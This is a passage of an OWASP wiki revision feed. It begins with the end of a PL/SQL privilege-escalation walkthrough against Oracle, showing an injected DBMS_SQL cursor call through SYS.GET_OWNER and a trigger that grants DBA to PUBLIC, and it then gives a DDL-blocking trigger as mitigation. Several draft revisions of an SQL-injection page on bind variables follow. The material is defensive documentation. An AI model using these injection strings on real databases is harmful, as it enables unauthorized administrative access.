DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created &lt;br /&gt;
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); &lt;br /&gt;
In the trigger &lt;br /&gt;
 &lt;br /&gt;
1 row created. &lt;br /&gt;
 &lt;br /&gt;
With the trigger having fired, PUBLIC should now have DBA privileges and we should &lt;br /&gt;
be able to set the role: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a &lt;br /&gt;
user that does not have the CREATE PROCEDURE privilege. &lt;br /&gt;
 &lt;br /&gt;
==Risk Mitigation==&lt;br /&gt;
 &lt;br /&gt;
What can be done to help prevent this being used as an attack method? Revoking the &lt;br /&gt;
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. &lt;br /&gt;
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC &lt;br /&gt;
execute permission could invalidate a large number of these dependencies. One useable &lt;br /&gt;
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the &lt;br /&gt;
only users on a particular database server that should be executing GRANT, CREATE or &lt;br /&gt;
ALTER are &amp;quot;SYS&amp;quot;, &amp;quot;JIM&amp;quot; and &amp;quot;JANE&amp;quot; then the following trigger could be created: &lt;br /&gt;
 &lt;br /&gt;
 CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE &lt;br /&gt;
 DECLARE &lt;br /&gt;
    V_USER VARCHAR(30); &lt;br /&gt;
 BEGIN &lt;br /&gt;
    V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); &lt;br /&gt;
 &lt;br /&gt;
    IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN &lt;br /&gt;
            RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY &lt;br /&gt;
NOT EXECUTE DDL'); &lt;br /&gt;
    END IF; &lt;br /&gt;
 END; &lt;br /&gt;
 / &lt;br /&gt;
 &lt;br /&gt;
If we now retry the attack the trigger will prevent us: &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p &lt;br /&gt;
varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-20002: USER CSESS MAY NOT EXECUTE DDL &lt;br /&gt;
ORA-06512: at line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the &lt;br /&gt;
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by &lt;br /&gt;
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or &lt;br /&gt;
CREATE ends up with it being blocked by the trigger. This method appears to be &lt;br /&gt;
effective as a preventative measure.&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46386</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46386"/>
				<updated>2008-11-13T16:39:00Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Attack==&lt;br /&gt;
&lt;br /&gt;
==Vunerabilities==&lt;br /&gt;
&lt;br /&gt;
===UNIONS===&lt;br /&gt;
Append the output of one or more other statements &lt;br /&gt;
===SUBSELECTS===&lt;br /&gt;
Blind SQL injection &lt;br /&gt;
===PACKAGES===&lt;br /&gt;
functions&lt;br /&gt;
===DML===&lt;br /&gt;
Insert, update and delete&lt;br /&gt;
===DDL===&lt;br /&gt;
Alter ..  in case of a dynamic query.&lt;br /&gt;
===Database links===&lt;br /&gt;
Query other databases with @database link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
===Stored Procedures===&lt;br /&gt;
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [[PL/SQL:Privilege escalation]]&lt;br /&gt;
&lt;br /&gt;
===Obfuscation===&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.&lt;br /&gt;
&lt;br /&gt;
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
===Bind variables===&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46384</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46384"/>
				<updated>2008-11-13T16:38:10Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Attack==&lt;br /&gt;
&lt;br /&gt;
==Vunerabilities==&lt;br /&gt;
&lt;br /&gt;
===UNIONS===&lt;br /&gt;
Append the output of one or more other statements &lt;br /&gt;
===SUBSELECTS===&lt;br /&gt;
Blind SQL injection &lt;br /&gt;
===PACKAGES===&lt;br /&gt;
functions&lt;br /&gt;
===DML===&lt;br /&gt;
Insert, update and delete&lt;br /&gt;
===DDL===&lt;br /&gt;
Alter ..  in case of a dynamic query.&lt;br /&gt;
===Database links===&lt;br /&gt;
Query other databases with @database link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
===Stored Procedures===&lt;br /&gt;
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [PL/SQL:Privilege escalation]&lt;br /&gt;
&lt;br /&gt;
===Obfuscation===&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.&lt;br /&gt;
&lt;br /&gt;
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
===Bind variables===&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46383</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46383"/>
				<updated>2008-11-13T16:35:01Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Attack==&lt;br /&gt;
&lt;br /&gt;
==Vunerabilities==&lt;br /&gt;
&lt;br /&gt;
===UNIONS===&lt;br /&gt;
Append the output of one or more other statements &lt;br /&gt;
===SUBSELECTS===&lt;br /&gt;
Blind SQL injection &lt;br /&gt;
===PACKAGES===&lt;br /&gt;
functions&lt;br /&gt;
===DML===&lt;br /&gt;
Insert, update and delete&lt;br /&gt;
===DDL===&lt;br /&gt;
Alter ..  in case of a dynamic query.&lt;br /&gt;
===Database links===&lt;br /&gt;
Query other databases with @database link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
==Stored Procedures==&lt;br /&gt;
&lt;br /&gt;
==Obfuscation==&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.&lt;br /&gt;
&lt;br /&gt;
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
===Bind variables===&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46381</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46381"/>
				<updated>2008-11-13T16:31:45Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Attack==&lt;br /&gt;
&lt;br /&gt;
==Vunerabilities==&lt;br /&gt;
&lt;br /&gt;
===UNIONS===&lt;br /&gt;
Append the output of one or more other statements &lt;br /&gt;
===SUBSELECTS===&lt;br /&gt;
Blind SQL injection &lt;br /&gt;
===PACKAGES===&lt;br /&gt;
functions&lt;br /&gt;
===DML===&lt;br /&gt;
Insert, update and delete&lt;br /&gt;
===DDL===&lt;br /&gt;
Alter ..  in case of a dynamic query.&lt;br /&gt;
===Database links===&lt;br /&gt;
Query other databases with @database link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Stored Procedures==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the availeble tables, it columns and the types. So we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
==Bind variables==&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46380</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46380"/>
				<updated>2008-11-13T16:22:43Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Lateral SQL injection==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Stored Procedures==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the availeble tables, it columns and the types. So we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
==Bind variables==&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46379</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46379"/>
				<updated>2008-11-13T16:14:10Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Lateral SQL injection==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Stored Procedures==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the rules described by CoddSo we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
==Bind variables==&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46378</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46378"/>
				<updated>2008-11-13T16:02:42Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Lateral SQL injection==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection.&lt;br /&gt;
&lt;br /&gt;
==Stored Procedures==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the rules described by CoddSo we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
==Bind variables==&lt;br /&gt;
